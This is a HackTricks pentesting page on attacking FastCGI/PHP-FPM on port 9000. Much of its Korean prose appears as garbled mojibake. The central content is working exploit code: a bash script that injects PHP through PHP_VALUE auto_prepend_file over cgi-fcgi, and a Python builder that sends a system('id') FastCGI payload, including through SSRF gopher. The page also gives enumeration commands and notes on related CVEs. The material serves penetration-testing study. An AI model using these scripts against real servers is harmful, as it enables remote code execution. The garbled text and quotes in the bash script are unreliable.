9000 Pentesting FastCGI
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๊ธฐ๋ณธ ์ ๋ณด
FastCGI๊ฐ ๋ฌด์์ธ์ง ์์๋ณด๊ณ ์ถ๋ค๋ฉด ๋ค์ ํ์ด์ง๋ฅผ ํ์ธํ์ธ์:
disable_functions bypass - php-fpm/FastCGI
๊ธฐ๋ณธ์ ์ผ๋ก FastCGI๋ port 9000์์ ์คํ๋๋ฉฐ nmap์์ ์ธ์๋์ง ์์ต๋๋ค. ๋ณดํต FastCGI๋ localhost์์๋ง ์์ ํฉ๋๋ค.
์ด๊ฑฐ / ๋น ๋ฅธ ํ์ธ
- Port scan:
nmap -sV -p9000 <target>(์ข ์ข โunknownโ ์๋น์ค๋ก ํ์๋ฉ๋๋ค; ์๋์ผ๋ก ํ ์คํธํ์ธ์). - Probe FPM status page:
SCRIPT_FILENAME=/status SCRIPT_NAME=/status REQUEST_METHOD=GET cgi-fcgi -bind -connect 127.0.0.1:9000(๊ธฐ๋ณธ php-fpmpm.status_path). - Find reachable sockets via SSRF: HTTP ์๋น์ค๊ฐ SSRF์ ์ทจ์ฝํ๋ค๋ฉด
gopher://127.0.0.1:9000/_...ํ์ด๋ก๋๋ฅผ ์๋ํ์ฌ FastCGI ๋ฆฌ์ค๋์ ์ฐ๊ฒฐํด ๋ณด์ธ์. - Nginx misconfigs:
cgi.fix_pathinfo=1์fastcgi_split_path_info์๋ฌ๊ฐ ์์ผ๋ฉด ์ ์ ํ์ผ์/.php๋ฅผ ๋ง๋ถ์ฌ PHP์ ๋๋ฌํ ์ ์์ต๋๋ค (ํธ๋๋ฒ์ค์ ํตํ ์ฝ๋ ์คํ).
RCE
FastCGI๊ฐ ์์์ ์ฝ๋๋ฅผ ์คํํ๋๋ก ๋ง๋๋ ๊ฒ์ ๊ฝค ์ฝ์ต๋๋ค:
PHP payload๋ฅผ ์์ ๋ถ์ด๋ FastCGI ์์ฒญ ์ ์ก
```bash #!/bin/bashPAYLOAD=โ<?php echo โโ;โ FILENAMES=โ/var/www/public/index.phpโ # Exisiting file path
HOST=$1 B64=$(echo โ$PAYLOADโ|base64)
for FN in $FILENAMES; do
OUTPUT=$(mktemp)
env -i
PHP_VALUE=โallow_url_include=1โ$โ\nโโallow_url_fopen=1โ$โ\nโโauto_prepend_file=โdata://text/plain;base64,$B64โโ
SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST
cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT
cat $OUTPUT done
</details>
๋๋ ๋ค์ python ์คํฌ๋ฆฝํธ๋ฅผ ์ฌ์ฉํ ์๋ ์์ต๋๋ค: [https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75](https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75)
### SSRF/gopher to FastCGI (9000 ํฌํธ์ ์ง์ ์ ๊ทผํ ์ ์์ ๋)
๋ง์ฝ **SSRF** primitive๋ง ์ ์ดํ ์ ์๋ค๋ฉด, gopher ์คํด์ ์ฌ์ฉํด FastCGI์ ๋๋ฌํ๊ณ ์ ์ฒด FastCGI ์์ฒญ์ ๊ตฌ์ฑํ ์ ์์ต๋๋ค. ์์ payload builder:
<details>
<summary>gopher FastCGI RCE payload ์์ฑ ๋ฐ ์ ์ก</summary>
```python
import struct, socket
host, port = "127.0.0.1", 9000
params = {
b"REQUEST_METHOD": b"POST",
b"SCRIPT_FILENAME": b"/var/www/html/index.php",
b"PHP_VALUE": b"auto_prepend_file=php://input\nallow_url_include=1"
}
body = b"<?php system('id'); ?>"
def rec(rec_type, content, req_id=1):
return struct.pack("!BBHHBB", 1, rec_type, req_id, len(content), 0, 0) + content
def enc_params(d):
out = b""
for k, v in d.items():
out += struct.pack("!B", len(k)) + struct.pack("!B", len(v)) + k + v
return out
payload = rec(4, enc_params(params)) + rec(4, b"") # FCGI_PARAMS + terminator
payload += rec(5, body) # FCGI_STDIN
s = socket.create_connection((host, port))
s.sendall(payload)
print(s.recv(4096))
Convert payload to URL-safe base64/percent-encoding and send via gopher://host:9000/_<payload> in your SSRF.
์ต๊ทผ ์ด์ ๊ด๋ จ ๋ ธํธ
- libfcgi <= 2.4.4 integer overflow (2024): crafted
nameLen/valueLenin FastCGI records can overflow on 32โbit builds (common in embedded/IoT), yielding heap RCE when the FastCGI socket is reachable (directly or via SSRF). - PHP-FPM log manipulation (CVE-2024-9026): when
catch_workers_output = yes, attackers who can send FastCGI requests may truncate or inject up to 4 bytes per log line to erase indicators or poison logs. - Classic Nginx + cgi.fix_pathinfo misconfig: still widely seen; if
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;is used without file existence checks, any path ending in.phpgets executed, enabling path traversal or source overwrite style gadgets.
References
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


